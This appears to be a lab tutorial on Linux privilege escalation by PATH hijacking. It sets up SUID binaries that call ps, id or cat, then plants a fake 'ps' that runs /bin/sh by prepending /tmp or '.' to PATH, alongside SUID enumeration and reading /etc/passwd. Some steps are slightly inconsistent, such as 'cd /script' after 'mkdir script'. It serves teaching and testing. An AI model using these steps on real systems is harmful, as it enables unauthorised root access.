How to Exploit PATH Environment Variables for Linux Privilege Escalation

Introduction

PATH is an environment variable that tells the shell where to look for executable files. If the current directory ('.') appears in PATH, a user can run binaries from that directory, which can be leveraged for privilege escalation.

Display the current PATH: echo $PATH Typical output:

/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games

Method 1

Lab setup

Create a script directory under /home/raj and write a small C program ( demo.c) that calls ps.

pwd
mkdir script
cd /script
nano demo.c

Compile the program, set the SUID bit, and list the file:

gcc demo.c -o shell
chmod u+s shell
ls -la shell

On the victim VM, find all SUID files: find / -perm -u=s -type f 2>/dev/null Execute the SUID binary /home/raj/script/shell to obtain a root shell.

Alternative exploitation commands:

# Echo command
cd /tmp
echo "/bin/sh" > ps
chmod 777 ps
echo $PATH
export PATH=/tmp:$PATH
cd /home/raj/script
./shell
whoami

# Copy command
cp /bin/sh /tmp/ps
export PATH=/tmp:$PATH
./shell
whoami

# Symlink command
ln -s /bin/sh ps
export PATH=.:$PATH
./shell
id
whoami

Method 2

Repeat the lab setup, but the C program calls id instead of ps. Compile, set SUID, and execute /home/raj/script/shell2 on the victim machine using the same find command to locate the binary.

gcc demo.c -o shell2
chmod u+s shell2
ls -la shell2

Run the binary to obtain elevated privileges.

Method 3

Again repeat the setup; this time the C program calls cat to read /etc/passwd. After compiling and setting SUID, the binary /home/raj/script/raj is executed, printing the password file contents.

gcc demo.c -o raj
chmod u+s raj
ls -la raj

Execute:

cd /home/raj/script
./raj

Method 4

Similar to Method 3, but the C program attempts to cat a non‑existent msg.txt file. After compiling and setting SUID on ignite, running the binary demonstrates the error handling when the target file is missing.

gcc demo.c -o ignite
chmod u+s ignite
ls -la ignite

Execute:

cd /home/raj/script
./ignite